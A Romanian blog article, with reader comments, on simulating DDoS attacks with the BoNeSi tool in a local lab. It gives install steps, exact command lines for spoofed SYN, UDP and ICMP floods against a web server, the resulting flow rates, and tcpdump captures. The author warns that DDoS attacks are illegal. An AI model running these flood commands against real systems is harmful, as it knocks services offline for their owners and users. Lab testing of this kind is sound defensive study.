Simularea atacurilor DDoS cu Bonesi
4Nota editorului: Articolul a fost scris de tex aici.
BoNeSi este un tool pentru simularea atacurilor DDoS (distributed denial of service) pentru a studia efectele unui atac DDoS cât și posibilitatea de filtrare (sau minimizare a efectelor) unui astfel de atac.
Am testat acest tool pe un server local cu Debian utilizând că SRC IP 10.0.0.7 iar că DST IP 10.0.0.8 pe care am un server ce rulează FreeBSD. La primul test, cel cu protocol tcp, capacitatea atacului a fost de 5096.83 flows/s. Curios este faptul că deși rata la inbound era de doar 10,16 Mbps, serverul web ce rula pe DST era inaccesibil. La al II-lea test, cel cu protocol udp, capacitatea atacului a fost de 16602.50 flows/s. iar rată la inbound de 3,3 Mbps, iar la al III-lea test, cel cu icmp echo request, capacitatea atacului a fost de 7248.00 flows/s.
Cele două servere folosite la acest test, sunt conectate în LAN printr-un switch Allied Telesis iar link-ul este de 100mbps. În toate testele (tcp, icmp, udp) sursele de atac sunt alterate (spoofed) cu adresele ip din fișierul a50k-bots”
Menționez că pe sistemul atacat era instalat apache2, prefork (default) și nu erau modificări la ListenBacklog.
Instalare pe Debian
tex work # apt-get install libnet1-dev libpcap-dev tex work # wget http://bonesi.googlecode.com/files/bonesi-0.1.1.tar.gz tex work # tar zxvf bonesi-0.1.1.tar.gz tex work # cd bonesi-0.1.1 tex bonesi-0.1.1 # ./configure && make tex bonesi-0.1.1 # cp src/bonesi .
Utilizare
Test I: Pentru syn spoofed (tcp attack): ./bonesi --ips=50k-bots --protocol=tcp -d eth0 10.0.0.8:80 Test II: Pentru udp spoofed: ./bonesi --ips=50k-bots --protocol=udp -d eth0 10.0.0.8:80 Test III: Pentru icmp spoofed (echo request): ./bonesi --ips=50k-bots --protocol=icmp -d eth0 10.0.0.8:80
Vizualizare pachete cu tcpdump la primul test (5 linii):
02:21:23.681982 IP 88.126.89.159.22458 > 10.0.0.8.80: Flags [S], seq 1237269533, win 4096, options [mss 1402,nop,wscale 0,nop,nop,TS val 1365282408 ecr 0,sackOK,eol], length 0 02:21:23.682074 IP 122.105.124.102.24571 > 10.0.0.8.80: Flags [S], seq 829903001, win 4096, options [mss 1460,nop,sackOK,eol], length 0 02:21:23.682115 IP 240.179.162.42.14539 > 10.0.0.8.80: Flags [S], seq 333938234, win 4096, options [mss 1516,nop,sackOK,eol], length 0 02:21:23.682154 IP 251.224.133.235.14748 > 10.0.0.8.80: Flags [S], seq 1230917056, win 4096, options [mss 1516,nop,sackOK,eol], length 0 02:21:23.682195 IP 48.44.25.215.26626 > 10.0.0.8.80: Flags [S], seq 802302864, win 4096, options [mss 1430,sackOK,TS val 1840537518 ecr 0,nop,wscale 0], length 0
Vizualizare pachete cu tcpdump la al II-lea test (5 linii):
02:28:40.917828 IP 141.162.25.189.34536 > 10.0.0.8.80: UDP, length 32 02:28:40.918783 IP 155.243.83.223.18623 > 10.0.0.8.80: UDP, length 32 02:28:40.918791 IP 255.46.11.142.29747 > 10.0.0.8.80: UDP, length 32 02:28:40.918797 IP 145.217.172.116.33624 > 10.0.0.8.80: UDP, length 32 02:28:40.918804 IP 246.242.203.210.10015 > 10.0.0.8.80: UDP, length 32
Vizualizare pachete cu tcpdump la al III-lea test (5 linii):
02:35:49.156760 IP 11.132.139.168 > 10.0.0.8: ICMP echo request, id 66, seq 66, length 40 02:35:49.156770 IP 35.68.7.119 > 10.0.0.8: ICMP echo request, id 66, seq 66, length 40 02:35:49.157715 IP 136.87.254.149 > 10.0.0.8: ICMP echo request, id 66, seq 66, length 40 02:35:49.157722 IP 12.23.245.154 > 10.0.0.8: ICMP echo request, id 66, seq 66, length 40 02:35:49.157727 IP 91.33.156.53 > 10.0.0.8: ICMP echo request, id 66, seq 66, length 40
Note
• Din câte puteți observa, testele sunt făcute în LAN. Atacurile Dos/DDoS sunt ilegale. Vă sfătuiesc să nu faceți teste către rețele care nu vă aparțin (sau cel puțin, nu după ip-urile voastre)
• Am specificat la început la ce anume poate fi de folos (tot din acest motiv, am făcut captura la pachete)
Daca acest articol contine o greseala, selecteaza cuvintele sau fraza gresita si tasteaza combinatia de taste Shift + Enter sau apasa click aici pentru a o raporta. Multumim!
Salut,
Sint programator web de ceva timp, si vreau sa invat mai multe despre securitate. M-ar interesa mai multe tipuri de atacuri exemplificate ( eventual aplicate practic ) si bineinteles modalitati de neutralizare. Ai idee de unde as putea sa incep o astfel de documentare?
Mersi.
Salut,
Era foarte simplu daca dadeai un simplu search pe blog.
http://www.worldit.info/articole/securitatea-aplicatiilor-web-a%C2%80%C2%93-cele-mai-intalnite-vulnerabilitatiatacuri-si-metode-de-aparare-impotriva-lor/
http://www.worldit.info/articole/securitatea-informatiei-tehnici-de-penetrare-a-securitatii-web-partea-i/
http://www.worldit.info/articole/securitatea-informatiei-tehnici-de-penetrare-a-securitatii-partea-a-ii-a/
http://www.worldit.info/articole/predictie-cum-vor-arata-atacurile-informatice-in-2012/
Daca vrei sa inveti cu adevarat, cauta singur. Aici e impulsul, restul tine de dexteritatea si adaptabilitatea ta.
PS: Ai fost complet offtopic.
Imi pare rau ca te-am deranjat.
Spor la invatat! 🙂